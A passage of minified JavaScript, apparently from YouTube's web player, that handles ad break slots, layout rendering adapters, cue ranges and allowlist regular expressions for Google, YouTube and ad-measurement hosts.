g.P(nc,LO);nc.prototype.getType=function(){return"metadata_type_ad_break_request_data"};
g.P(aH,LO);aH.prototype.getType=function(){return"metadata_type_ad_break_response_data"};
g.P(g8,LO);g8.prototype.getType=function(){return"metadata_type_remote_slots_data"};
g.P(Bl,LO);Bl.prototype.getType=function(){return"METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds"};
g.P(Wl,LO);Wl.prototype.getType=function(){return"METADATA_TYPE_MEDIA_BREAK_LAYOUT_DURATION_MILLISECONDS"};
g.P(D4,LO);D4.prototype.getType=function(){return"metadata_type_legacy_info_card_vast_extension"};
g.P(yC,LO);yC.prototype.getType=function(){return"metadata_type_valid_ad_message_renderer"};
g.P(Nc,LO);Nc.prototype.getType=function(){return"METADATA_TYPE_INTERACTIONS_AND_PROGRESS_LAYOUT_COMMANDS"};
g.P(Jx,LO);Jx.prototype.getType=function(){return"metadata_type_served_from_live_infra"};
g.P(Cc,LO);Cc.prototype.getType=function(){return"metadata_type_survey_overlay"};
g.P(QC,LO);QC.prototype.getType=function(){return"metadata_type_active_view_traffic_type"};
g.P(pc,LO);pc.prototype.getType=function(){return"metadata_type_active_view_identifier"};
g.P(Ov,LO);Ov.prototype.getType=function(){return"metadata_type_ssdai_ads_config"};
g.P(fc,LO);fc.prototype.getType=function(){return"metadata_type_eligible_for_ssap"};
g.P(w8,LO);w8.prototype.getType=function(){return"metadata_type_allow_pause_ad_break_request_slot_reschedule"};
g.P(Kc,LO);Kc.prototype.getType=function(){return"metadata_type_player_bytes_slot_metadata"};
g.P(X7,LO);X7.prototype.getType=function(){return"metadata_type_prefetch_metadata"};var kMv=new Map([["TRIGGER_CATEGORY_LAYOUT_EXIT_NORMAL","normal"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_SKIPPED","skipped"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_MUTED","muted"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_INPUT_SUBMITTED","user_input_submitted"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_CANCELLED","user_cancelled"]]);var gx4=new Map([["TRIGGER_CATEGORY_LAYOUT_EXIT_NORMAL","trigger_category_layout_exit_normal"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_SKIPPED","trigger_category_layout_exit_user_skipped"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_MUTED","trigger_category_layout_exit_user_muted"],["TRIGGER_CATEGORY_SLOT_EXPIRATION","trigger_category_slot_expiration"],["TRIGGER_CATEGORY_SLOT_FULFILLMENT","trigger_category_slot_fulfillment"],["TRIGGER_CATEGORY_SLOT_ENTRY","trigger_category_slot_entry"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_INPUT_SUBMITTED",
"trigger_category_layout_exit_user_input_submitted"],["TRIGGER_CATEGORY_LAYOUT_EXIT_USER_CANCELLED","trigger_category_layout_exit_user_cancelled"]]);g.P(th,M9);g.P(w,M9);new Promise(function(){});var R2H=new Map([["unspecified","CONTROL_FLOW_MANAGER_LAYER_UNSPECIFIED"],["core","CONTROL_FLOW_MANAGER_LAYER_CORE"],["adapter","CONTROL_FLOW_MANAGER_LAYER_ADAPTER"],["surface","CONTROL_FLOW_MANAGER_LAYER_SURFACE"],["external","CONTROL_FLOW_MANAGER_LAYER_EXTERNAL"]]),M8H=new Map([["normal",{tf:"ADS_CLIENT_EVENT_TYPE_NORMAL_EXIT_LAYOUT_REQUESTED",jJ:"ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_NORMALLY"}],["skipped",{tf:"ADS_CLIENT_EVENT_TYPE_SKIP_EXIT_LAYOUT_REQUESTED",jJ:"ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_SKIP"}],
["muted",{tf:"ADS_CLIENT_EVENT_TYPE_MUTE_EXIT_LAYOUT_REQUESTED",jJ:"ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_MUTE"}],["abandoned",{tf:"ADS_CLIENT_EVENT_TYPE_ABANDON_EXIT_LAYOUT_REQUESTED",jJ:"ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_ABANDON"}],["user_input_submitted",{tf:"ADS_CLIENT_EVENT_TYPE_USER_INPUT_SUBMITTED_EXIT_LAYOUT_REQUESTED",jJ:"ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_USER_INPUT_SUBMITTED"}],["user_cancelled",{tf:"ADS_CLIENT_EVENT_TYPE_USER_CANCELLED_EXIT_LAYOUT_REQUESTED",jJ:"ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_USER_CANCELLED"}],
["error",{tf:"ADS_CLIENT_EVENT_TYPE_ABORTED_EXIT_LAYOUT_REQUESTED",jJ:"ADS_CLIENT_EVENT_TYPE_LAYOUT_EXITED_ABORTED"}]]);g.P(ed,g.W);g.q=ed.prototype;g.q.Q_=function(x,T){return this.C.Q_(x,T)};
g.q.s0=function(x,T){this.NJ.NA("ADS_CLIENT_EVENT_TYPE_OPPORTUNITY_RECEIVED",x,T);for(var t=g.S(this.Z),u=t.next();!u.done;u=t.next())u.value.s0(x,T)};
g.q.Ri=function(x){if(Ah(this.C,x)){this.NJ.jd("ADS_CLIENT_EVENT_TYPE_SLOT_ENTERED",x);this.C.Ri(x);for(var T=g.S(this.Z),t=T.next();!t.done;t=T.next())t.value.Ri(x);YCH(this,x)}};
g.q.fF=function(x){if(Ah(this.C,x)){this.NJ.jd("ADS_CLIENT_EVENT_TYPE_SLOT_EXITED",x);this.C.fF(x);for(var T=g.S(this.Z),t=T.next();!t.done;t=T.next())t.value.fF(x);Ah(this.C,x)&&RT(this.C,x).T&&di(this,x,!1)}};
g.q.xb=function(x){this.NJ.jd("ADS_CLIENT_EVENT_TYPE_SLOT_FULFILLMENT_CANCELLED",x);Ah(this.C,x)&&(this.C.xb(x),di(this,x,!1))};
g.q.bN=function(x,T){if(Ah(this.C,x)){this.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_ENTERED",x,T);for(var t=g.S(this.Z),u=t.next();!u.done;u=t.next())u.value.bN(x,T)}};
g.q.Ts=function(x,T,t){if(Ah(this.C,x)){this.NJ.kL(APq(t),x,T);this.C.Ts(x,T);for(var u=g.S(this.Z),H=u.next();!H.done;H=u.next())H.value.Ts(x,T,t);(t=Vx(this.C,x))&&T.layoutId===t.layoutId&&L93(this,x,!1)}};
g.q.dn=function(x,T,t,u){t.Ta&&u?(E3(t,x,T,void 0,t.r$),this.NJ.u3(u,t.Ta,x,T)):E3("adsClientErrorMessage is missing.",x,T);di(this,x,!0)};
g.q.oU=function(){var x=axJ(this.C);x=g.S(x);for(var T=x.next();!T.done;T=x.next())di(this,T.value,!1);g.W.prototype.oU.call(this)};
g.q.yl=function(x,T){this.NJ.kL("ADS_CLIENT_EVENT_TYPE_UNSCHEDULE_LAYOUT_REQUESTED",x,T);this.NJ.kL("ADS_CLIENT_EVENT_TYPE_LAYOUT_UNSCHEDULED",x,T);for(var t=g.S(this.Z),u=t.next();!u.done;u=t.next())u=u.value,T&&u.yl(x,T)};nxf.prototype.isActive=function(){switch(this.C){case "entered":case "rendering":case "rendering_stop_requested":case "exit_requested":return!0;default:return!1}};g.P(nG,g.W);g.q=nG.prototype;g.q.Q_=function(x,T){T=vq(this,x+"_"+T);x=[];T=g.S(T.values());for(var t=T.next();!t.done;t=T.next())x.push(t.value.slot);return x};
g.q.Ji=function(x){x=RT(this,x);x.C!=="not_scheduled"&&GZ(x.slot,x.C,"onSlotScheduled");x.C="scheduled"};
g.q.Tf=function(x){x=RT(this,x);x.K="fill_requested";x.N.Tf()};
g.q.Ri=function(x){x=RT(this,x);x.C!=="enter_requested"&&GZ(x.slot,x.C,"onSlotEntered");x.C="entered"};
g.q.xb=function(x){RT(this,x).K="fill_canceled"};
g.q.fF=function(x){x=RT(this,x);x.C!=="exit_requested"&&GZ(x.slot,x.C,"onSlotExited");x.C="scheduled"};
g.q.Ts=function(x,T){x=RT(this,x);x.layout!=null&&x.layout.layoutId===T.layoutId&&(x.C!=="rendering_stop_requested"&&GZ(x.slot,x.C,"onLayoutExited"),x.C="entered")};g.P(Bq,g.W);Bq.prototype.get=function(){Math.random()<.001&&this.T9()&&E3("Tried to retrieve object during dispose",void 0,void 0,{type:typeof this.instance});this.instance||(this.instance=this.C());return this.instance};g.P(D9,g.W);D9.prototype.j=function(){return this.Z};yx.prototype.executeCommand=function(x,T){VP(this.C(),x,T)};CG.prototype.addListener=function(x){this.listeners.add(x)};
CG.prototype.removeListener=function(x){this.listeners.delete(x)};var np={},o7=(np.AD_MARKER="ytp-ad-progress",np.CHAPTER_MARKER="ytp-chapter-marker",np.TIME_MARKER="ytp-time-marker",np);var NZf=RegExp("^https?://([^.]*\\.moatads\\.com/|e[0-9]+\\.yt\\.srs\\.doubleverify\\.com|pagead2\\.googlesyndication\\.com/pagead/gen_204\\?id=yt3p&sr=1&|pm\\.adsafeprotected\\.com/youtube|pm\\.test-adsafeprotected\\.com/youtube|youtube[0-9]+\\.moatpixel\\.com/)"),pWv=RegExp("^https://([a-z]+\\.)?[0-9a-f]{1,63}\\.sslproxy\\.corp\\.google\\.com/|^https://([a-z]+\\.)?[a-z0-9\\-]{1,63}\\.demos\\.corp\\.google\\.com/|^https://[0-9a-f]{1,63}\\.proxy\\.googleprod\\.com/|^https?://(([-\\w]*www[-\\w]*\\.|[-\\w]*web[-\\w]*\\.|[-\\w]*canary[-\\w]*\\.|[-\\w]*dev[-\\w]*\\.|[-\\w]{1,3}\\.)+(corp\\.)?youtube(-nocookie|kids|education)?\\.com/|([A-Za-z0-9-]{1,63}\\.)*(youtube\\.googleapis\\.com)[.]?(:[0-9]+)?/|([a-z]+\\.)?[a-z0-9\\-]{1,63}\\.([a-z]{3}|i)\\.corp\\.google\\.com(:[0-9]+)?/|([a-z]+\\.)?[a-z0-9\\-]{1,63}\\.c\\.googlers\\.com(:[0-9]+)?/|(docs|drive)\\.google\\.com/(a/[^/\\\\%]+/|)|(music|music-green-qa|music-release-qa|yt-music-green\\.corp)\\.youtube\\.com/|(tv|tv-green-qa|tv-green-qa\\.corp|tv-release-qa|tv-release-qa\\.corp|tv-integration-qa|tv-integration-qa\\.corp|yt-tv-autopush\\.corp|yt-tv-integration\\.corp|yt-tv-staging\\.corp)\\.youtube\\.com/|[A-Za-z0-9-]+\\.prod\\.google\\.com(:[0-9]+)?/)"),
Jb3=RegExp("^https?://(www\\.google\\.com/pagead/xsul|www\\.youtube\\.com/pagead/slav)"),TrH=RegExp("^https://([A-Za-z0-9-]{1,63}\\.)+demos\\.corp\\.google\\.com(/(?!url\\b)|$)|^https://([A-Za-z0-9-]{1,63}\\.)+sslproxy\\.corp\\.google\\.com(/|$)|^https?://(([A-Za-z0-9-]{1,63}\\.)*(corp\\.google\\.com|proxy\\.googleprod\\.com|c\\.googlers\\.com|proxy\\.googlers\\.com|docs\\.google\\.com|drive\\.google\\.com|prod\\.google\\.com|currents\\.google\\.com|mail\\.google\\.com|youtube\\.com|youtubeeducation\\.com|youtube\\-nocookie\\.com|youtubekids\\.com)[.]?(:[0-9]+)?/|([A-Za-z0-9-]{1,63}\\.)*(sandbox\\.google\\.com)(:[0-9]+)?(/(?!url\\b)|$))"),
XWJ=RegExp("^https://([A-Za-z0-9-]{1,63}\\.)+demos\\.corp\\.google\\.com(/(?!url\\b)|$)|^https://([A-Za-z0-9-]{1,63}\\.)+sslproxy\\.corp\\.google\\.com(/|$)|^https?://(([A-Za-z0-9-]{1,63}\\.)*(corp\\.google\\.com|proxy\\.googleprod\\.com|c\\.googlers\\.com|proxy\\.googlers\\.com|borg\\.google\\.com|prod\\.google\\.com|youtube\\.com|youtubekids\\.com)[.]?(:[0-9]+)?/|([A-Za-z0-9-]{1,63}\\.)*(sandbox\\.google\\.com)(:[0-9]+)?(/(?!url\\b)|$))"),fxD=RegExp("^((http(s)?):)?\\/\\/((((lh[3-6](-tt|-d[a-g,z])?\\.((ggpht)|(googleusercontent)|(google)|(sandbox\\.google)))|(lh7\\-(eu|us|qw|rt)\\.((googleusercontent)|(google)))|((photos|testonly|work)\\.fife\\.usercontent\\.google)|([\\w\\-]+\\.fife\\.usercontent\\.google)|(([1-4]\\.bp\\.blogspot)|(bp[0-3]\\.blogger))|(ccp-lh\\.googleusercontent)|((((cp|ci|gp)[3-6])|(ap[1-2]))\\.(ggpht|googleusercontent))|(gm[1-4]\\.ggpht)|(play-(ti-)?lh\\.googleusercontent)|(gz0\\.googleusercontent)|(((yt[3-4])|(sp[1-3]))\\.(ggpht|googleusercontent)))\\.com)|(drive\\.google\\.com\\/drive\\-(usercontent|viewer))|(dp[3-6]\\.googleusercontent\\.cn)|(dp4\\.googleusercontent\\.com)|((photos|drive|contribution)\\-image\\-(dev|qa)(-us|-eu)?(-auth|-cookie)?\\.corp\\.google\\.com)|(photos\\-image\\-dev\\-dl\\-(auth|eu|us)\\.corp\\.google\\.com)|((dev|dev2|dev3|qa|qa2|qa3|qa-red|qa-blue|canary)[-.]lighthouse\\.sandbox\\.google\\.com\\/image)|(image\\-(dev|qa)\\-lighthouse(-auth)?\\.sandbox\\.google\\.com(\\/image)?)|(drive\\-qa\\.corp\\.google\\.com\\/drive\\-(usercontent|viewer)))\\/|^https://([A-Za-z0-9-]{1,63}\\.)+demos\\.corp\\.google\\.com(/(?!url\\b)|$)|^https://([A-Za-z0-9-]{1,63}\\.)+sslproxy\\.corp\\.google\\.com(/|$)|^https?://(([A-Za-z0-9-]{1,63}\\.)*(corp\\.google\\.com|proxy\\.googleprod\\.com|c\\.googlers\\.com|proxy\\.googlers\\.com|borg\\.google\\.com|docs\\.google\\.com|drive\\.google\\.com|googleplex\\.com|play\\.google\\.com|prod\\.google\\.com|currents\\.google\\.com|video\\.google\\.com|youtube\\.com|ytimg\\.com|ytimg\\.sandbox\\.google\\.com|chat\\.google\\.com)[.]?(:[0-9]+)?/|([A-Za-z0-9-]{1,63}\\.)*(sandbox\\.google\\.com)(:[0-9]+)?(/(?!url\\b)|$)|s2\\.googleusercontent\\.com/s2/favicons\\?|yt[3-4]\\.ggpht\\.com/)"),
Cnf=RegExp("^https?.*#ocr$|^https?://(aksecure\\.imrworldwide\\.com/|cdn\\.imrworldwide\\.com/|secure\\-..\\.imrworldwide\\.com/)"),wWJ=RegExp("^https?://(googleads\\.g\\.doubleclick\\.net/(aclk|pagead/conversion)|www\\.google\\.com/(aclk|pagead/conversion)|www\\.googleadservices\\.com/(aclk|pagead/(aclk|conversion))|www\\.youtube\\.com/pagead/conversion)"),OPq=RegExp("^((http(s)?):)?\\/\\/((((lh[3-6](-tt|-d[a-g,z])?\\.((ggpht)|(googleusercontent)|(google)|(sandbox\\.google)))|(lh7\\-(eu|us|qw|rt)\\.((googleusercontent)|(google)))|((photos|testonly|work)\\.fife\\.usercontent\\.google)|([\\w\\-]+\\.fife\\.usercontent\\.google)|(([1-4]\\.bp\\.blogspot)|(bp[0-3]\\.blogger))|(ccp-lh\\.googleusercontent)|((((cp|ci|gp)[3-6])|(ap[1-2]))\\.(ggpht|googleusercontent))|(gm[1-4]\\.ggpht)|(play-(ti-)?lh\\.googleusercontent)|(gz0\\.googleusercontent)|(((yt[3-4])|(sp[1-3]))\\.(ggpht|googleusercontent)))\\.com)|(drive\\.google\\.com\\/drive\\-(usercontent|viewer))|(dp[3-6]\\.googleusercontent\\.cn)|(dp4\\.googleusercontent\\.com)|((photos|drive|contribution)\\-image\\-(dev|qa)(-us|-eu)?(-auth|-cookie)?\\.corp\\.google\\.com)|(photos\\-image\\-dev\\-dl\\-(auth|eu|us)\\.corp\\.google\\.com)|((dev|dev2|dev3|qa|qa2|qa3|qa-red|qa-blue|canary)[-.]lighthouse\\.sandbox\\.google\\.com\\/image)|(image\\-(dev|qa)\\-lighthouse(-auth)?\\.sandbox\\.google\\.com(\\/image)?)|(drive\\-qa\\.corp\\.google\\.com\\/drive\\-(usercontent|viewer)))\\/|^https://([A-Za-z0-9-]{1,63}\\.)+demos\\.corp\\.google\\.com(/(?!url\\b)|$)|^https://([A-Za-z0-9-]{1,63}\\.)+sslproxy\\.corp\\.google\\.com(/|$)|^https?://(([A-Za-z0-9-]{1,63}\\.)*(corp\\.google\\.com|proxy\\.googleprod\\.com|c\\.googlers\\.com|proxy\\.googlers\\.com|borg\\.google\\.com|docs\\.google\\.com|drive\\.google\\.com|googleplex\\.com|googlevideo\\.com|prod\\.google\\.com|lh3\\.photos\\.google\\.com|currents\\.google\\.com|mail\\.google\\.com|youtube\\.com|yt\\.akamaized\\.net|chat\\.google\\.com)[.]?(:[0-9]+)?/|([A-Za-z0-9-]{1,63}\\.)*(sandbox\\.google\\.com)(:[0-9]+)?(/(?!url\\b)|$)|([A-Za-z0-9-]{1,63}\\.)*c\\.lh3(-d[a-gyz]|-testonly)?\\.(googleusercontent|photos\\.google)\\.com/.*$)"),
Oi3=RegExp("^https?://(([A-Za-z0-9-]{1,63}\\.)*(imasdk\\.googleapis\\.com|2mdn\\.net|googlesyndication\\.com|corp\\.google\\.com|proxy\\.googleprod\\.com|c\\.googlers\\.com|proxy\\.googlers\\.com|borg\\.google\\.com|googleads\\.g\\.doubleclick\\.net|prod\\.google\\.com|static\\.doubleclick\\.net|static\\.googleadsserving\\.cn|studioapi\\.doubleclick\\.net|youtube\\.com|youtube\\.googleapis\\.com|youtube\\-nocookie\\.com|youtubekids\\.com|ytimg\\.com|ytimg\\.sandbox\\.google\\.com)[.]?(:[0-9]+)?/|lightbox-(demos|builder)\\.appspot\\.com/|s[01](qa)?\\.2mdn\\.net/ads/richmedia/studio/mu/templates/tetris|www\\.gstatic\\.com/doubleclick/studio/innovation/h5/layouts/tetris|www\\.gstatic\\.com/doubleclick/studio/innovation/ytplayer)"),
p0i=RegExp("^https://([A-Za-z0-9-]{1,63}\\.)*(crowdsource|datacompute)\\.google\\.com/|^https://([A-Za-z0-9-]{1,63}\\.)+demos\\.corp\\.google\\.com(/(?!url\\b)|$)|^https://([A-Za-z0-9-]{1,63}\\.)+sslproxy\\.corp\\.google\\.com(/|$)|^https://(books|play-books-(autopush|internal|preprod|staging)(-sandbox|\\.corp))\\.googleusercontent\\.com(/|$)|^https://canvastester-3fd0b\\.appspot\\.com(/|$)|^https://localhost\\.googleusercontent\\.com(:\\d+)?(/|$)|^https://narrative-news-cast-receiver-d\\.appspot\\.com(/|$)|^https://narrative-news-cast-receiver-f\\.appspot\\.com(/|$)|^https://one\\.google\\.com(/|$)|^https://www\\.google\\.com/culturalinstitute/manage/.*$|^https://www\\.gstatic\\.com/aog_howto|^https://www\\.gstatic\\.com/narrative_cast_receiver/news|^https?://(([A-Za-z0-9-]{1,63}\\.)*(imasdk\\.googleapis\\.com|corp\\.google\\.com|proxy\\.googleprod\\.com|c\\.googlers\\.com|proxy\\.googlers\\.com|borg\\.google\\.com|docs\\.google\\.com|drive\\.google\\.com|googleads\\.g\\.doubleclick\\.net|googleplex\\.com|play\\.google\\.com|prod\\.google\\.com|photos\\.google\\.com|get\\.google\\.com|currents\\.google\\.com|blogger\\.com|mail\\.google\\.com|survey\\.g\\.doubleclick\\.net|youtube\\.com|youtube\\.googleapis\\.com|youtubeeducation\\.com|youtube\\-nocookie\\.com|yt\\-web\\-embedded\\-player\\.appspot\\.com|youtubekids\\.com|vevo\\.com|chat\\.google\\.com|meet\\.google\\.com|artsandculture\\.google\\.com)[.]?(:[0-9]+)?(/|$)|([A-Za-z0-9-]{1,63}\\.)*(sandbox\\.google\\.com)(:[0-9]+)?(/(?!url\\b)|$)|(www\\.|encrypted\\.)?google\\.(cat|com(\\.(a[fgiru]|b[dhnorz]|c[ouy]|do|e[cgt]|fj|g[hit]|hk|jm|kh|kw|l[bcy]|m[mtxy]|n[afgip]|om|p[aeghkry]|qa|s[abglv]|t[jnrw]|ua|uy|vc|vn))?|a[cdelmstz]|c[acdfghilmnvz]|b[aefgijsty]|ee|es|d[ejkmz]|g[aefglmpry]|f[imr]|i[emoqrst]|h[nrtu]|k[giz]|je|jo|m[degklnsuvw]|l[aiktuv]|n[eloru]|p[lnst]|s[cehikmnort]|r[osuw]|us|t[dgklmnot]|ws|vg|vu|co\\.(ao|bw|ck|cr|i[dln]|jp|ke|kr|ls|ma|mz|nz|th|tz|u[gkz]|ve|vi|z[amw]))/(search|webhp)\\?|(www\\.|encrypted\\.)google\\.(cat|com(\\.(a[fgiru]|b[dhnorz]|c[ouy]|do|e[cgt]|fj|g[hit]|hk|jm|kh|kw|l[bcy]|m[mtxy]|n[afgip]|om|p[aeghkry]|qa|s[abglv]|t[jnrw]|ua|uy|vc|vn))?|a[cdelmstz]|c[acdfghilmnvz]|b[aefgijsty]|ee|es|d[ejkmz]|g[aefglmpry]|f[imr]|i[emoqrst]|h[nrtu]|k[giz]|je|jo|m[degklnsuvw]|l[aiktuv]|n[eloru]|p[lnst]|s[cehikmnort]|r[osuw]|us|t[dgklmnot]|ws|vg|vu|co\\.(ao|bw|ck|cr|i[dln]|jp|ke|kr|ls|ma|mz|nz|th|tz|u[gkz]|ve|vi|z[amw]))/?$|lightbox-(demos|builder)\\.appspot\\.com/|s0\\.2mdn\\.net/instream/html5/native/|s[01](qa)?\\.2mdn\\.net/ads/richmedia/studio/mu/templates/tetris|www\\.gstatic\\.com/doubleclick/studio/innovation/h5/layouts/tetris)"),
Sdy=RegExp("^(https://photos\\.google\\.com|https://get\\.google\\.com|https://currents\\.google\\.com|https://mail\\.google\\.com|https://yt\\-web\\-embedded\\-player\\.appspot\\.com|http://yt\\-web\\-embedded\\-player\\.appspot\\.com|https://chat\\.google\\.com|https://one\\.google\\.com|https://artsandculture\\.google\\.com)$|^http://[0-9]+\\.[a-z0-9\\-_]+\\.[a-z0-9\\-_]+\\.[a-z0-9\\-_]+\\.([a-z]{2}|i)\\.borg\\.google\\.com(:[0-9]+)?$|^https://((autopush|beta-lookup|daily-[0-6]|manual-qual|preprod|stream)\\.)?meet\\.google\\.com$|^https://([A-Za-z0-9-]{1,63}\\.)*(crowdsource|datacompute)\\.google\\.com$|^https://([A-Za-z0-9-]{1,63}\\.)*(youtube|youtubekids|youtubeeducation)\\.com$|^https://([A-Za-z0-9-]{1,63}\\.)+demos\\.corp\\.google\\.com$|^https://([A-Za-z0-9-]{1,63}\\.)+sandbox\\.google\\.com$|^https://([A-Za-z0-9-]{1,63}\\.)+sslproxy\\.corp\\.google\\.com$|^https://(books|play-books-(autopush|internal|preprod|staging)(-sandbox|\\.corp))\\.googleusercontent\\.com$|^https://(draft|www|(www\\.)?dev\\.sandbox|(www\\.)?autopush\\.sandbox|(www\\.)?staging\\.sandbox|(www\\.)?restore\\.sandbox)\\.blogger\\.com$|^https://[0-9a-f]{1,63}\\.proxy\\.googleprod\\.com$|^https://localhost\\.googleusercontent\\.com(:\\d+)?$|^https?://(((docs|m|sing|ss|sss|www)\\.)?drive\\.google\\.com$|([A-Za-z0-9-]{1,63}\\.)*c\\.googlers\\.com(:[0-9]+)?$|([A-Za-z0-9-]{1,63}\\.)*corp\\.google\\.com(:[0-9]+)?$|([A-Za-z0-9-]{1,63}\\.)*googleplex\\.com(:[0-9]+)?$|([A-Za-z0-9-]{1,63}\\.)*proxy\\.googlers\\.com(:[0-9]+)?$|(www\\.|encrypted\\.)google\\.(cat|com(\\.(a[fgiru]|b[dhnorz]|c[ouy]|do|e[cgt]|fj|g[hit]|hk|jm|kh|kw|l[bcy]|m[mtxy]|n[afgip]|om|p[aeghkry]|qa|s[abglv]|t[jnrw]|ua|uy|vc|vn))?|a[cdelmstz]|c[acdfghilmnvz]|b[aefgijsty]|ee|es|d[ejkmz]|g[aefglmpry]|f[imr]|i[emoqrst]|h[nrtu]|k[giz]|je|jo|m[degklnsuvw]|l[aiktuv]|n[eloru]|p[lnst]|s[cehikmnort]|r[osuw]|us|t[dgklmnot]|ws|vg|vu|co\\.(ao|bw|ck|cr|i[dln]|jp|ke|kr|ls|ma|mz|nz|th|tz|u[gkz]|ve|vi|z[amw]))/?$|[A-Za-z0-9-]+\\.prod\\.google\\.com(:[0-9]+)?$|docs\\.google\\.com$)");g.te.prototype.getId=function(){return this.id};
g.te.prototype.toString=function(){return"CueRange{"+this.namespace+":"+this.id+"}["+uKf(this.start)+", "+uKf(this.end)+"]"};
g.te.prototype.contains=function(x,T){return x>=this.start&&(x<this.end||x===this.end&&this.start===this.end)&&(T==null||x<T&&T<=this.end)};
var s44=1;g.te.prototype.getId=g.te.prototype.getId;iB.prototype.Tf=function(){var x=this,T=0;Cwm(this.C,function(){var t=uS(x.slot.clientMetadata,"metadata_type_ad_break_request_data");T=Date.now();sO(x.RU.get(),"abrs","ct."+T+";cmt."+x.IU.get().getCurrentTimeSec(1,!1)+";sid."+x.slot.slotId+";");return x.Z.get().fetch({MP:t.getAdBreakUrl,PL:new g.te(t.CA,t.Sm),V6:uS(x.slot.clientMetadata,"metadata_type_cue_point"),cueProcessedMs:t.cueProcessedMs})},function(){HKf(x)},function(t){var u=Date.now()-T;
sO(x.RU.get(),"abrr","ct."+(new Date).getTime()+";cmt."+x.IU.get().getCurrentTimeSec(1,!1)+";l."+u.toString()+";sid."+x.slot.slotId+";");u=t.h9;u.length>=2&&t.ssdaiAdsConfig&&E3("Unexpected ad placement renderers length",x.slot,null,{length:u.length});u.some(function(H){var I,E,Z,e;return!!((I=H.renderer)==null?0:(E=I.linearAdSequenceRenderer)==null?0:(Z=E.linearAds)==null?0:Z.length)||!((e=H.renderer)==null||!e.instreamVideoAdRenderer)})||HKf(x)})};
iB.prototype.q1=function(){QYv(this.C)};I7.prototype.Tf=function(){var x=this;Cwm(this.Z,function(){var T=uS(x.slot.clientMetadata,"metadata_type_ad_break_request_data");return T.cueProcessedMs?x.C.get().fetch({MP:T.getAdBreakUrl,PL:new g.te(T.CA,T.Sm),cueProcessedMs:T.cueProcessedMs}):x.C.get().fetch({MP:T.getAdBreakUrl,PL:new g.te(T.CA,T.Sm)})})};
I7.prototype.q1=function(){QYv(this.Z)};Eu.prototype.Tf=function(){var x=this.slot.clientMetadata,T,t=(T=this.slot.fulfilledLayout)!=null?T:uS(x,"metadata_type_fulfilled_layout");UMH(this.callback,this.slot,t)};
Eu.prototype.q1=function(){MN(this.callback,this.slot,new w("Got CancelSlotFulfilling request for "+this.slot.slotType+" in DirectFulfillmentAdapter.",void 0,"ADS_CLIENT_ERROR_MESSAGE_INVALID_FULFILLMENT_CANCELLATION_REQUEST"),"ADS_CLIENT_ERROR_TYPE_FULFILL_SLOT_FAILED")};Zk.prototype.build=function(x,T){return T.fulfilledLayout||qA(T,{yI:["metadata_type_fulfilled_layout"]})?new Eu(x,T):this.j(x,T)};g.P(ea,Zk);
ea.prototype.j=function(x,T){if(qA(T,{yI:["metadata_type_ad_break_request_data","metadata_type_cue_point"],slotType:"SLOT_TYPE_AD_BREAK_REQUEST"}))return new iB(x,T,this.C,this.Z,this.xx,this.Lf,this.RU,this.IU,this.Iu);if(qA(T,{yI:["metadata_type_ad_break_request_data"],slotType:"SLOT_TYPE_AD_BREAK_REQUEST"}))return new I7(x,T,this.C,this.Z,this.xx,this.Lf);throw new w("Unsupported slot with type: "+T.slotType+" and client metadata: "+$v(T.clientMetadata)+" in AdBreakRequestSlotFulfillmentAdapterFactory.");};g.P(lB,Zk);lB.prototype.j=function(x,T){throw new w("Unsupported slot with type: "+T.slotType+" and client metadata: "+$v(T.clientMetadata)+" in DefaultFulfillmentAdapterFactory.");};g.q=iKm.prototype;g.q.e8=function(){return this.slot};
g.q.wy=function(){return this.layout};
g.q.init=function(){};
g.q.release=function(){};
g.q.startRendering=function(x){if(x.layoutId!==this.layout.layoutId)this.callback.dn(this.slot,x,new th("Tried to start rendering an unknown layout, this adapter requires LayoutId: "+this.layout.layoutId+("and LayoutType: "+this.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_ENTER_LAYOUT_FAILED");else{var T=uS(x.clientMetadata,"metadata_type_ad_break_response_data");this.slot.slotType==="SLOT_TYPE_AD_BREAK_REQUEST"?(this.callback.bN(this.slot,x),UiH(this.j,
this.slot,T)):E3("Unexpected slot type in AdBreakResponseLayoutRenderingAdapter - this should never happen",this.slot,x)}};
g.q.zy=function(x,T){x.layoutId!==this.layout.layoutId?this.callback.dn(this.slot,x,new th("Tried to stop rendering an unknown layout, this adapter requires LayoutId: "+this.layout.layoutId+("and LayoutType: "+this.layout.layoutType),void 0,"ADS_CLIENT_ERROR_MESSAGE_UNKNOWN_LAYOUT"),"ADS_CLIENT_ERROR_TYPE_EXIT_LAYOUT_FAILED"):(this.callback.Ts(this.slot,x,T),EBV(this),qVX(this))};g.P(R7,g.$B);g.q=R7.prototype;g.q.e8=function(){return this.Z.slot};
g.q.wy=function(){return this.Z.layout};
g.q.init=function(){this.j.get().addListener(this)};
g.q.release=function(){this.j.get().removeListener(this);this.dispose()};
g.q.Gb=function(){};
g.q.Fq=function(){};
g.q.q6=function(){};
g.q.TZ=function(){};
g.q.startRendering=function(x){var T=this;Ae(this.Z,x,function(){return void T.RK()})};
g.q.RK=function(){this.j.get().RK(this.C)};
g.q.zy=function(x,T){var t=this;Ae(this.Z,x,function(){var u=t.j.get();RCm(u,t.C,3);t.C=[];t.callback.Ts(t.slot,x,T)})};
g.q.oU=function(){this.j.T9()||this.j.get().removeListener(this);g.$B.prototype.oU.call(this)};
g.i3.Object.defineProperties(R7.prototype,{slot:{configurable:!0,enumerable:!0,get:function(){return this.Z.slot}},
